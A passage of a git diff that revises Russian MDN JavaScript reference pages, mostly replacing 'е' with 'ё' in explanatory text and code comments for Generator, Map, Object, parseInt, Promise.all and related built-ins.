a/files/ru/web/javascript/reference/global_objects/generator/index.html b/files/ru/web/javascript/reference/global_objects/generator/index.html index 8e530ff328..41498f0dfa 100644 --- a/files/ru/web/javascript/reference/global_objects/generator/index.html +++ b/files/ru/web/javascript/reference/global_objects/generator/index.html @@ -40,7 +40,7 @@ console.log(generator().next().value); // 1</pre> <dt>{{jsxref("Generator.prototype.return()")}}</dt> <dd>Возвращает заданное значение и заканчивает генератор.</dd> <dt>{{jsxref("Generator.prototype.throw()")}}</dt> - <dd>Выдает ошибку генератора.</dd> + <dd>Выдаёт ошибку генератора.</dd> </dl> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/javascript/reference/global_objects/generator/throw/index.html b/files/ru/web/javascript/reference/global_objects/generator/throw/index.html index cfdf5d3bbc..77b096e858 100644 --- a/files/ru/web/javascript/reference/global_objects/generator/throw/index.html +++ b/files/ru/web/javascript/reference/global_objects/generator/throw/index.html @@ -26,11 +26,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Generator/throw <li><code>done</code> (boolean) <ul> - <li>Имеет значение <code>true</code> если iterator прошел конец итерируемой последовательности. В этом случае <code>value</code> опционально определяется выражением <em>return value</em> внутри итератора .</li> + <li>Имеет значение <code>true</code> если iterator прошёл конец итерируемой последовательности. В этом случае <code>value</code> опционально определяется выражением <em>return value</em> внутри итератора .</li> <li>Имеет значение <code>false</code> если iterator имеет возможность вернуть следующее значение последовательности. Это равносильно когда свойство done не указано.</li> </ul> </li> - <li><code>value</code> - любое JavaScript значение, возвращенное итератором. Может быть проигнорировано, когда <em><code>done</code> === <code>true</code></em>.</li> + <li><code>value</code> - любое JavaScript значение, возвращённое итератором. Может быть проигнорировано, когда <em><code>done</code> === <code>true</code></em>.</li> </ul> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/global_objects/generatorfunction/index.html b/files/ru/web/javascript/reference/global_objects/generatorfunction/index.html index 4cce9504e9..56264cb71d 100644 --- a/files/ru/web/javascript/reference/global_objects/generatorfunction/index.html +++ b/files/ru/web/javascript/reference/global_objects/generatorfunction/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction --- <div>{{JSRef}}</div> -<p><strong><code>GeneratorFunction</code> constructor</strong> создает новый {{jsxref("Statements/function*", "generator function")}} объект. В JavaScript каждая функция-генератор - это фактически <code>GeneratorFunction</code> объект.</p> +<p><strong><code>GeneratorFunction</code> constructor</strong> создаёт новый {{jsxref("Statements/function*", "generator function")}} объект. В JavaScript каждая функция-генератор - это фактически <code>GeneratorFunction</code> объект.</p> <p><code>Обратите внимание, что GeneratorFunction</code> - это не глобальный объект. Он может быть получен при выполнении следующего кода.</p> @@ -20,7 +20,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction <dl> <dt><code>arg1, arg2, ... arg<em>N</em></code></dt> - <dd>Имена, используемые функцией как имена формальных аргументов. Каждый должен быть строкой, которая соответствует правильному JavaScript идентификатору или списком таких строк, разделенных запятыми; например "<code>x</code>", "<code>theValue</code>", или "<code>a,b</code>".</dd> + <dd>Имена, используемые функцией как имена формальных аргументов. Каждый должен быть строкой, которая соответствует правильному JavaScript идентификатору или списком таких строк, разделённых запятыми; например "<code>x</code>", "<code>theValue</code>", или "<code>a,b</code>".</dd> <dt><code>functionBody</code></dt> <dd>A string containing the JavaScript statements comprising the function definition.</dd> </dl> diff --git a/files/ru/web/javascript/reference/global_objects/globalthis/index.html b/files/ru/web/javascript/reference/global_objects/globalthis/index.html index ce4cb48419..0f12223b46 100644 --- a/files/ru/web/javascript/reference/global_objects/globalthis/index.html +++ b/files/ru/web/javascript/reference/global_objects/globalthis/index.html @@ -83,6 +83,6 @@ if (typeof globals.setTimeout !== 'function') { <h3 id="Прогресс_реализации">Прогресс реализации</h3> -<p>В следующей таблице приведено ежедневное состояние реализации этой функции, поскольку эта функция еще не достигла стабильности в разных браузерах. Данные генерируются путем запуска соответствующих тестов функциональности в <a href="https://github.com/tc39/test262">Test262</a>, стандартном наборе тестов JavaScript, в ночной сборке или в последней версии движка JavaScript каждого браузера.</p> +<p>В следующей таблице приведено ежедневное состояние реализации этой функции, поскольку эта функция ещё не достигла стабильности в разных браузерах. Данные генерируются путём запуска соответствующих тестов функциональности в <a href="https://github.com/tc39/test262">Test262</a>, стандартном наборе тестов JavaScript, в ночной сборке или в последней версии движка JavaScript каждого браузера.</p> <p>{{EmbedTest262ReportResultsTable("globalThis")}}</p> diff --git a/files/ru/web/javascript/reference/global_objects/intl/index.html b/files/ru/web/javascript/reference/global_objects/intl/index.html index 4316488c58..cb0df3d472 100644 --- a/files/ru/web/javascript/reference/global_objects/intl/index.html +++ b/files/ru/web/javascript/reference/global_objects/intl/index.html @@ -47,7 +47,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Intl <li><code>"zh-Hans-CN"</code>: упрощённый китайский, используемый в Китае.</li> </ul> -<p>Подметки, определяющие языки, письменности, страны (регионы) и (используется не часто) варианты в языковых метках BCP 47 могут быть найдены в <a href="http://www.iana.org/assignments/language-subtag-registry">Реестре языковых подметок IANA</a>.</p> +<p>Подмётки, определяющие языки, письменности, страны (регионы) и (используется не часто) варианты в языковых метках BCP 47 могут быть найдены в <a href="http://www.iana.org/assignments/language-subtag-registry">Реестре языковых подмёток IANA</a>.</p> <p>BCP 47 также позволяет использовать расширения, и одно из них имеет значение для функций интернационализации JavaScript: это расширение <code>"u"</code> (Unicode). Оно может использоваться для запрашивания настраиваемого языка-зависимого поведения объектов {{jsxref("Global_Objects/Collator", "Collator")}}, {{jsxref("Global_Objects/NumberFormat", "NumberFormat")}} или {{jsxref("Global_Objects/DateTimeFormat", "DateTimeFormat")}}. Примеры:</p> diff --git a/files/ru/web/javascript/reference/global_objects/isfinite/index.html b/files/ru/web/javascript/reference/global_objects/isfinite/index.html index eb1c6ee465..dcce428701 100644 --- a/files/ru/web/javascript/reference/global_objects/isfinite/index.html +++ b/files/ru/web/javascript/reference/global_objects/isfinite/index.html @@ -46,7 +46,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/isFinite <p><code>isFinite</code> это функция верхнего уровня и она не связана ни с одним объектом.</p> -<p>Вы можете использовать эту функцию там, где требуется определить, является ли аргумент конечным числом. Функция <code>isFinite</code> исследует число в своем параметре. Если аргумент является NaN, положительной или отрицательной бесконечностью, метод вернет <code>false</code>; иначе возвращается <code>true</code>.</p> +<p>Вы можете использовать эту функцию там, где требуется определить, является ли аргумент конечным числом. Функция <code>isFinite</code> исследует число в своём параметре. Если аргумент является NaN, положительной или отрицательной бесконечностью, метод вернёт <code>false</code>; иначе возвращается <code>true</code>.</p> <h2 id="Examples" name="Examples">Примеры</h2> @@ -59,7 +59,7 @@ isFinite(2e64); // true isFinite("0"); // true, но было бы false если использовать - // более надежный вариант Number.isFinite("0") + // более надёжный вариант Number.isFinite("0") </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/global_objects/map/delete/index.html b/files/ru/web/javascript/reference/global_objects/map/delete/index.html index f9e6cb1cf4..dfa69f8edb 100644 --- a/files/ru/web/javascript/reference/global_objects/map/delete/index.html +++ b/files/ru/web/javascript/reference/global_objects/map/delete/index.html @@ -31,7 +31,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map/delete <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p><code>true</code> если элемент существовал в {{jsxref("Map")}} и он был удален или <code>false</code> если элемента с таким ключом не было.</p> +<p><code>true</code> если элемент существовал в {{jsxref("Map")}} и он был удалён или <code>false</code> если элемента с таким ключом не было.</p> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/global_objects/map/entries/index.html b/files/ru/web/javascript/reference/global_objects/map/entries/index.html index ccdd07a182..eb1a79956b 100644 --- a/files/ru/web/javascript/reference/global_objects/map/entries/index.html +++ b/files/ru/web/javascript/reference/global_objects/map/entries/index.html @@ -7,7 +7,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map/entries <p>Метод <code><strong>entries()</strong></code> возвращает новый <strong><a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators">Итератор</a></strong>, содержащий пары <code>[key, value]</code> для каждого элемента объекта {{jsxref("Map")}} в том порядке, в котором они были заведены.</p> -<p>Исходный код всех примеров для {{jsxref("Map")}} сохранен на GitHub <a href="https://github.com/mdn/interactive-examples/tree/master/live-examples/js-examples/map">https://github.com/mdn/interactive-examples/tree/master/live-examples/js-examples/map</a>.</p> +<p>Исходный код всех примеров для {{jsxref("Map")}} сохранён на GitHub <a href="https://github.com/mdn/interactive-examples/tree/master/live-examples/js-examples/map">https://github.com/mdn/interactive-examples/tree/master/live-examples/js-examples/map</a>.</p> <p>Вы можете внести свой вклад, для этого: </p> diff --git a/files/ru/web/javascript/reference/global_objects/map/foreach/index.html b/files/ru/web/javascript/reference/global_objects/map/foreach/index.html index 20111c1cdc..27b5c25aa0 100644 --- a/files/ru/web/javascript/reference/global_objects/map/foreach/index.html +++ b/files/ru/web/javascript/reference/global_objects/map/foreach/index.html @@ -40,7 +40,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map/forEach <p>Если аргумент <code>thisArg</code> указан для <code>forEach</code>, то при вызове <code>callback</code> он будет передан в качестве значения <code>this</code>. В противном случае для <code>this</code> будет передано <code>undefined</code>. Значение <code>this</code>, в конечном итоге наблюдаемое в функции <code>callback</code>, определяется в соответствии c <a href="/ru/docs/Web/JavaScript/Reference/Operators/this">обычными правилами определения <code>this</code> в функции.</a></p> -<p>Каждое значение посещается один раз, за исключением случая, когда оно было удалено и добавлено снова до завершения <code>forEach</code>. <code>callback</code> не вызывается для значений, удаленных до их посещения. Новые значения будут посещены, если они добавлены до завершения <code>forEach</code>.</p> +<p>Каждое значение посещается один раз, за исключением случая, когда оно было удалено и добавлено снова до завершения <code>forEach</code>. <code>callback</code> не вызывается для значений, удалённых до их посещения. Новые значения будут посещены, если они добавлены до завершения <code>forEach</code>.</p> <p><code>forEach</code> исполняет функцию <code>callback</code> один раз для каждого элемента в объекте <code>Map</code>; не возвращает значение.</p> diff --git a/files/ru/web/javascript/reference/global_objects/map/get/index.html b/files/ru/web/javascript/reference/global_objects/map/get/index.html index ae4ca29646..be837c802e 100644 --- a/files/ru/web/javascript/reference/global_objects/map/get/index.html +++ b/files/ru/web/javascript/reference/global_objects/map/get/index.html @@ -29,8 +29,8 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map/get <pre class="brush: js notranslate">var myMap = new Map(); myMap.set('bar', 'foo'); -myMap.get('bar'); // Вернет "foo". -myMap.get('baz'); // Вернет undefined. +myMap.get('bar'); // Вернёт "foo". +myMap.get('baz'); // Вернёт undefined. </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/global_objects/map/index.html b/files/ru/web/javascript/reference/global_objects/map/index.html index 4548a2f79a..fe13de74df 100644 --- a/files/ru/web/javascript/reference/global_objects/map/index.html +++ b/files/ru/web/javascript/reference/global_objects/map/index.html @@ -32,7 +32,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map <h3 id="Сравнение_Объектов_и_Map">Сравнение Объектов и Map</h3> -<p>Объекты похожи на <code>Map</code> в том, что оба позволяют устанавливать значения по ключам, получать эти значения, удалять ключи и проверять их наличие. В связи с этим (и потому, что не было встроенных альтернатив), {{jsxref("Object", "Объекты")}} исторически использовались как <code>Map</code>. Однако, у них есть ряд отличий, который дает преимущества <code>Map</code> в ряде случаев:</p> +<p>Объекты похожи на <code>Map</code> в том, что оба позволяют устанавливать значения по ключам, получать эти значения, удалять ключи и проверять их наличие. В связи с этим (и потому, что не было встроенных альтернатив), {{jsxref("Object", "Объекты")}} исторически использовались как <code>Map</code>. Однако, у них есть ряд отличий, который даёт преимущества <code>Map</code> в ряде случаев:</p> <ul> <li>Ключами {{jsxref("Object", "Объекта")}} выступают {{jsxref("String", "Строки")}} и {{jsxref("Symbol", "Символы")}}, в то время как любое значение может быть ключом <code>Map</code>, включая {{jsxref("Function", "функции")}}, {{jsxref("Object", "объекты")}} и {{Glossary("Primitive", "примитивы")}}.</li> @@ -74,7 +74,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/clear" title="The clear() method removes all elements from a Map object."><code>Map.prototype.clear()</code></a></dt> <dd>Удаляет все пары ключ / значение из объекта <code>Map</code>.</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/delete" title="The delete() method removes the specified element from a Map object by key."><code>Map.prototype.delete(key)</code></a></dt> - <dd>Возвращает <code>true</code>, если элемент в объекте <code>Map</code> существовал и был удален, или false, если элемент не существует. <code>Map.prototype.has(key)</code> вернет <code>false</code> позже.</dd> + <dd>Возвращает <code>true</code>, если элемент в объекте <code>Map</code> существовал и был удалён, или false, если элемент не существует. <code>Map.prototype.has(key)</code> вернёт <code>false</code> позже.</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/entries" title="The entries() method returns a new Iterator object that contains the [key, value] pairs for each element in the Map object in insertion order."><code>Map.prototype.entries()</code></a></dt> <dd>Возвращает новый объект <code>Iterator</code> который содержит <strong>массив</strong> <strong><code>[key, value]</code></strong> для каждого элемента в объекте <code>Map</code> в порядке вставки.</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/forEach" title="The forEach() method executes a provided function once per each key/value pair in the Map object, in insertion order."><code>Map.prototype.forEach(callbackFn[, thisArg])</code></a></dt> diff --git a/files/ru/web/javascript/reference/global_objects/math/sqrt/index.html b/files/ru/web/javascript/reference/global_objects/math/sqrt/index.html index 28d145db02..9fd81b98cd 100644 --- a/files/ru/web/javascript/reference/global_objects/math/sqrt/index.html +++ b/files/ru/web/javascript/reference/global_objects/math/sqrt/index.html @@ -29,7 +29,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Math/sqrt <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>Квадратный корень заданного числа. Если число отрицательное, то вернется {{jsxref("NaN")}}.</p> +<p>Квадратный корень заданного числа. Если число отрицательное, то вернётся {{jsxref("NaN")}}.</p> <h2 id="Description" name="Description">Описание</h2> diff --git a/files/ru/web/javascript/reference/global_objects/nan/index.html b/files/ru/web/javascript/reference/global_objects/nan/index.html index 7c91aebb62..ca61ca7c3e 100644 --- a/files/ru/web/javascript/reference/global_objects/nan/index.html +++ b/files/ru/web/javascript/reference/global_objects/nan/index.html @@ -45,7 +45,7 @@ valueIsNaN(1); // false valueIsNaN(NaN); // true valueIsNaN(Number.NaN); // true</code></pre> -<p>Тем не менее, обратите внимание на разницу между функцией <code>isNaN()</code> и методом <code>Number.isNaN()</code>: первая вернет <code>true</code>, если значение в настоящий момент является <code>NaN</code>, или если оно станет <code>NaN</code> после того, как преобразуется в число, в то время как последний вернет <code>true</code>, только если текущим значением является <code>NaN</code>:</p> +<p>Тем не менее, обратите внимание на разницу между функцией <code>isNaN()</code> и методом <code>Number.isNaN()</code>: первая вернёт <code>true</code>, если значение в настоящий момент является <code>NaN</code>, или если оно станет <code>NaN</code> после того, как преобразуется в число, в то время как последний вернёт <code>true</code>, только если текущим значением является <code>NaN</code>:</p> <pre><code>isNaN('hello world'); // true Number.isNaN('hello world'); // false</code></pre> diff --git a/files/ru/web/javascript/reference/global_objects/null/index.html b/files/ru/web/javascript/reference/global_objects/null/index.html index 085018dc12..22f65596e9 100644 --- a/files/ru/web/javascript/reference/global_objects/null/index.html +++ b/files/ru/web/javascript/reference/global_objects/null/index.html @@ -40,14 +40,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/null <h3 id="Difference_between_null_and_undefined" name="Difference_between_null_and_undefined">Отличия между <code>null</code> и <code>undefined</code></h3> -<p><code>null</code> является определенным значением отсутствия объекта, тогда как {{jsxref("Global_Objects/undefined", "undefined")}} обозначает неопределенность. Например: </p> +<p><code>null</code> является определённым значением отсутствия объекта, тогда как {{jsxref("Global_Objects/undefined", "undefined")}} обозначает неопределённость. Например: </p> <pre class="brush: js">var element; -// значение переменной element до ее инициализации не определенно: undefined +// значение переменной element до её инициализации не определённо: undefined element = document.getElementById('not-exists'); // здесь при попытке получения несуществующего элемента, метод getElementById возвращает null -// переменная element теперь инициализирована значением null, ее значение определено +// переменная element теперь инициализирована значением null, её значение определено </pre> <p>При проверке на <code>null</code> или {{jsxref("Global_Objects/undefined", "undefined")}}, помните о <a href="/ru/docs/Web/JavaScript/Reference/Operators/Операторы_сравнения#Использование_операторов_равенства">различии между операторами равенства (==) и идентичности (===)</a>: с первым, выполняется преобразование типов. </p> diff --git a/files/ru/web/javascript/reference/global_objects/object/create/index.html b/files/ru/web/javascript/reference/global_objects/object/create/index.html index bb1da1642e..9af356adc0 100644 --- a/files/ru/web/javascript/reference/global_objects/object/create/index.html +++ b/files/ru/web/javascript/reference/global_objects/object/create/index.html @@ -34,7 +34,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/create <h3 id="Throws" name="Throws">Выбрасываемые исключения</h3> -<p>Выбрасывает исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}, если параметр <code>proto</code> не является {{jsxref("Global_Objects/null", "null")}} или объектом (исключение составляют объекты-обертки примитивных типов).</p> +<p>Выбрасывает исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}, если параметр <code>proto</code> не является {{jsxref("Global_Objects/null", "null")}} или объектом (исключение составляют объекты-обёртки примитивных типов).</p> <h2 id="Examples" name="Examples">Примеры</h2> @@ -170,7 +170,7 @@ o2 = Object.create({}, { var hasOwn = Object.prototype.hasOwnProperty; return function (O) { - // 1. Если Type(O) не является Object or Null выдается исключение TypeError. + // 1. Если Type(O) не является Object or Null выдаётся исключение TypeError. if (typeof O != 'object') { throw TypeError('Object prototype may only be an Object or null'); } @@ -183,7 +183,7 @@ o2 = Object.create({}, { var obj = new Temp(); Temp.prototype = null; // Давайте не будем держать случайные ссылки на О... - // 4. Если аргумент Properties присутствует и не определен, добавляем + // 4. Если аргумент Properties присутствует и не определён, добавляем // собственные свойства к obj, как будто вызывая стандартную встроенную // функцию Object.defineProperties с аргументами obj и // Properties. diff --git a/files/ru/web/javascript/reference/global_objects/object/entries/index.html b/files/ru/web/javascript/reference/global_objects/object/entries/index.html index 87a9de90b8..7487e1241a 100644 --- a/files/ru/web/javascript/reference/global_objects/object/entries/index.html +++ b/files/ru/web/javascript/reference/global_objects/object/entries/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/entries --- <div>{{JSRef}}</div> -<p><code><strong>Object.entries()</strong></code> метод возвращает массив собственных перечисляемых свойств указанного объекта в формате <code>[key, value]</code>, в том же порядке, что и в цикле {{jsxref("Statements/for...in", "for...in")}} (разница в том, что for-in перечисляет свойства из цепочки прототипов). Порядок элементов в массиве который возвращается <code><strong>Object.entries()</strong></code> не зависит от того как объект объявлен. Если существует необходимость в определенном порядке, то массив должен быть отсортирован до вызова метода, например <code>Object.entries(obj).sort((a, b) => a[0] - b[0]);</code>.</p> +<p><code><strong>Object.entries()</strong></code> метод возвращает массив собственных перечисляемых свойств указанного объекта в формате <code>[key, value]</code>, в том же порядке, что и в цикле {{jsxref("Statements/for...in", "for...in")}} (разница в том, что for-in перечисляет свойства из цепочки прототипов). Порядок элементов в массиве который возвращается <code><strong>Object.entries()</strong></code> не зависит от того как объект объявлен. Если существует необходимость в определённом порядке, то массив должен быть отсортирован до вызова метода, например <code>Object.entries(obj).sort((a, b) => a[0] - b[0]);</code>.</p> <p>{{EmbedInteractiveExample("pages/js/object-entries.html")}}</p> diff --git a/files/ru/web/javascript/reference/global_objects/object/fromentries/index.html b/files/ru/web/javascript/reference/global_objects/object/fromentries/index.html index 7bf1d17719..0a52348cb4 100644 --- a/files/ru/web/javascript/reference/global_objects/object/fromentries/index.html +++ b/files/ru/web/javascript/reference/global_objects/object/fromentries/index.html @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/fromEntries <h2 id="Описание">Описание</h2> -<p>Метод <code>Object.fromEntries()</code> принимает список пар ключ-значение и возвращает новый объект, свойства которого задаются этими записями. Ожидается, что аргумент <em>iterable </em>будет объектом, который реализует метод <code>@@iterator</code>, который возвращает объект итератора, который создает двухэлементный массивоподобный объект, первый элемент которого является значением, которое будет использоваться в качестве ключа свойства, а второй элемент — значением связанного с этим ключом свойства.</p> +<p>Метод <code>Object.fromEntries()</code> принимает список пар ключ-значение и возвращает новый объект, свойства которого задаются этими записями. Ожидается, что аргумент <em>iterable </em>будет объектом, который реализует метод <code>@@iterator</code>, который возвращает объект итератора, который создаёт двухэлементный массивоподобный объект, первый элемент которого является значением, которое будет использоваться в качестве ключа свойства, а второй элемент — значением связанного с этим ключом свойства.</p> <p><code>Object.fromEntries()</code> выполняет процедуру, обратную {{jsxref("Object.entries()")}}.</p> diff --git a/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html b/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html index 1700aa0e2c..62830748df 100644 --- a/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html +++ b/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html @@ -40,7 +40,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDes <dt><code>set</code></dt> <dd>Функция, которая служит установщиком для свойства, или {{jsxref("undefined")}} если установщика нет (только дескрипторы доступа).</dd> <dt><code>configurable</code></dt> - <dd><code>true</code> тогда и только тогда, когда тип этого свойства дескриптора может быть изменен, и если свойство может быть удалено из соответствующего объекта.</dd> + <dd><code>true</code> тогда и только тогда, когда тип этого свойства дескриптора может быть изменён, и если свойство может быть удалено из соответствующего объекта.</dd> <dt><code>enumerable</code></dt> <dd><code>true</code> тогда и только тогда, когда это свойство отображается при перечислении свойств соответствующего объекта. <p> </p> diff --git a/files/ru/web/javascript/reference/global_objects/object/values/index.html b/files/ru/web/javascript/reference/global_objects/object/values/index.html index 38bfcb624a..112c18c60f 100644 --- a/files/ru/web/javascript/reference/global_objects/object/values/index.html +++ b/files/ru/web/javascript/reference/global_objects/object/values/index.html @@ -52,7 +52,7 @@ var my_obj = Object.create({}, { getFoo: { value: function() { return this.foo; my_obj.foo = "bar"; console.log(Object.values(my_obj)); // ['bar'] -// Аргумент, не являющийся объектом, будет приведен к объекту +// Аргумент, не являющийся объектом, будет приведён к объекту console.log(Object.values("foo")); // ['f', 'o', 'o'] </pre> diff --git a/files/ru/web/javascript/reference/global_objects/parsefloat/index.html b/files/ru/web/javascript/reference/global_objects/parsefloat/index.html index 03cb0bc158..e108d37e8d 100644 --- a/files/ru/web/javascript/reference/global_objects/parsefloat/index.html +++ b/files/ru/web/javascript/reference/global_objects/parsefloat/index.html @@ -44,11 +44,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/parseFloat <p><code>parseFloat</code> - это высокоуровневая функция, не привязанная ни к одному объекту.</p> -<p><code>parseFloat</code> разбирает текстовую строку, ищет и возвращает из нее десятичное число. Если функция встретит знак, отличный от (+ или -), цифр(0-9), разделительной точки, или показателя степени, она вернет значение, предшествующее этому знаку, игнорируя все последующие символы . Допускаются позади и впереди идущие пробелы.</p> +<p><code>parseFloat</code> разбирает текстовую строку, ищет и возвращает из неё десятичное число. Если функция встретит знак, отличный от (+ или -), цифр(0-9), разделительной точки, или показателя степени, она вернёт значение, предшествующее этому знаку, игнорируя все последующие символы . Допускаются позади и впереди идущие пробелы.</p> -<p>Если первый символ нельзя привести к числовому виду, <code>parseFloat</code> вернет<code> NaN</code>.</p> +<p>Если первый символ нельзя привести к числовому виду, <code>parseFloat</code> вернёт<code> NaN</code>.</p> -<p>С точки зрения математики, <code>значение NaN</code> не является числом в какой-либо системе счисления. Чтобы определить, вернет ли <code>parseFloat </code>значение {{jsxref("NaN")}} в качестве результата, можно вызвать функцию {{jsxref("Global_Objects/isNaN", "isNaN")}}. Если <code>NaN</code> участвует в арифметических операциях, результатом также будет <code>NaN</code>.</p> +<p>С точки зрения математики, <code>значение NaN</code> не является числом в какой-либо системе счисления. Чтобы определить, вернёт ли <code>parseFloat </code>значение {{jsxref("NaN")}} в качестве результата, можно вызвать функцию {{jsxref("Global_Objects/isNaN", "isNaN")}}. Если <code>NaN</code> участвует в арифметических операциях, результатом также будет <code>NaN</code>.</p> <p><code>parseFloat</code> также может вернуть значение <code>Infinity</code> ("бесконечность"). Вы можете использовать функцию {{jsxref("Global_Objects/isFinite", "isFinite")}}, чтобы определить, является ли результат конечным числом (not <code>Infinity</code>, <code>-Infinity</code>, или <code>NaN</code>).</p> @@ -76,7 +76,7 @@ parseFloat(foo);</code></pre> <h3 id="parseFloat_возвращает_NaN"><code>parseFloat</code> возвращает NaN</h3> -<p>Пример ниже вернет <code>NaN</code></p> +<p>Пример ниже вернёт <code>NaN</code></p> <pre class="brush: js">parseFloat("FF2"); </pre> diff --git a/files/ru/web/javascript/reference/global_objects/parseint/index.html b/files/ru/web/javascript/reference/global_objects/parseint/index.html index 093ad5971c..fd1942b04d 100644 --- a/files/ru/web/javascript/reference/global_objects/parseint/index.html +++ b/files/ru/web/javascript/reference/global_objects/parseint/index.html @@ -54,13 +54,13 @@ translation_of: Web/JavaScript/Reference/Global_Objects/parseInt <ul> <li>Если значение входного параметра <code>string</code> начинается с "<code>0x</code>" или "<code>0X</code>", <var>за основание системы счисления принимается 16, и интерпретации подвергается оставшаяся часть строки.</var></li> - <li>Если значение входного параметра <code>string</code> начинается с "0", <var>за основание системы счисления принимается либо 8, либо 10, в зависимости от конкретной реализации.</var> В спецификации ECMAScript 5 прописано использование 10 (десятичная система), но это поддерживается еще не всеми браузерами, поэтому необходимо <strong>всегда указывать основание системы счисления при использовании функции </strong><strong><code>parseInt</code></strong>.</li> + <li>Если значение входного параметра <code>string</code> начинается с "0", <var>за основание системы счисления принимается либо 8, либо 10, в зависимости от конкретной реализации.</var> В спецификации ECMAScript 5 прописано использование 10 (десятичная система), но это поддерживается ещё не всеми браузерами, поэтому необходимо <strong>всегда указывать основание системы счисления при использовании функции </strong><strong><code>parseInt</code></strong>.</li> <li>Если значение входного параметра <code>string</code> начинается с любого другого символа, система счисления считается десятичной (основание 10).</li> </ul> <p>Если первый символ строки не может быть преобразован в число, <code>parseInt</code> возвращает значение <code>NaN</code>.</p> -<p>С точки зрения математики, значение <code>NaN</code> не является числом в какой-либо системе счисления. Чтобы определить, вернет ли <code>parseInt </code>значение<code> </code><code>NaN </code>в качестве результата, можно вызвать функцию {{jsxref("Global_Objects/isNaN", "isNaN")}}. Если <code>NaN</code> участвует в арифметических операциях, результатом также будет <code>NaN</code>.</p> +<p>С точки зрения математики, значение <code>NaN</code> не является числом в какой-либо системе счисления. Чтобы определить, вернёт ли <code>parseInt </code>значение<code> </code><code>NaN </code>в качестве результата, можно вызвать функцию {{jsxref("Global_Objects/isNaN", "isNaN")}}. Если <code>NaN</code> участвует в арифметических операциях, результатом также будет <code>NaN</code>.</p> <p>Для преобразования числа в строку в указанной системе счисления, используйте <code>intValue.toString(radix)</code>.</p> diff --git a/files/ru/web/javascript/reference/global_objects/promise/all/index.html b/files/ru/web/javascript/reference/global_objects/promise/all/index.html index b6291344c2..4a79cf71ab 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/all/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/all/index.html @@ -27,19 +27,19 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/all <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>{{jsxref("Promise")}}, который будет выполнен когда будут выполнены все обещания, переданные в виде перечисляемого аргумента, или отклонен, если будет отклонено хоть одно из переданных обещаний.</p> +<p>{{jsxref("Promise")}}, который будет выполнен когда будут выполнены все обещания, переданные в виде перечисляемого аргумента, или отклонён, если будет отклонено хоть одно из переданных обещаний.</p> <h2 id="Description" name="Description">Описание</h2> <p><strong>Promise.all</strong> возвращает массив значений от всех обещаний, которые были ему переданы. Возвращаемый массив значений сохраняет порядок оригинального перечисляемого объекта, но не порядок выполнения обещаний. <code>Если какой-либо элемент перечисляемого объекта не является обещанием, то он будет преобразован с помощью метода </code>{{jsxref("Promise.resolve")}}<code>.</code></p> -<p>Если одно из переданных обещаний будет отклонено, <code><strong>Promise.all </strong></code>будет немедленно отклонен со значением отклоненного обещания, не учитывая другие обещания, независимо выполнены они или нет. Если в качестве аргумента будет передан пустой массив, то <code><strong>Promise.all</strong> </code>будет выполнен немедленно<code>. </code></p> +<p>Если одно из переданных обещаний будет отклонено, <code><strong>Promise.all </strong></code>будет немедленно отклонён со значением отклонённого обещания, не учитывая другие обещания, независимо выполнены они или нет. Если в качестве аргумента будет передан пустой массив, то <code><strong>Promise.all</strong> </code>будет выполнен немедленно<code>. </code></p> <h2 id="Примеры">Примеры</h2> <h3 id="Использование_Promise.all">Использование <code>Promise.all</code></h3> -<p><strong>Promise.all </strong>ждет выполнения всех обещаний (или первого метода <code><strong>reject</strong>()</code>).</p> +<p><strong>Promise.all </strong>ждёт выполнения всех обещаний (или первого метода <code><strong>reject</strong>()</code>).</p> <pre><code>var p1 = Promise.resolve(3); var p2 = 1337; @@ -57,7 +57,7 @@ Promise.all([p1, p2, p3]).then(values => { <h3 id="Promise.all_поведение_немедленного_отклонения"><code>Promise.all</code> поведение немедленного отклонения</h3> -<p><strong><code>Promise.all</code></strong> будет немедленно отклонен если одно из переданных обещаний будет отклонено: если у вас есть четыре обещания которые будут выполнены с задержкой и одно, которое будет отклонено немедленно - тогда 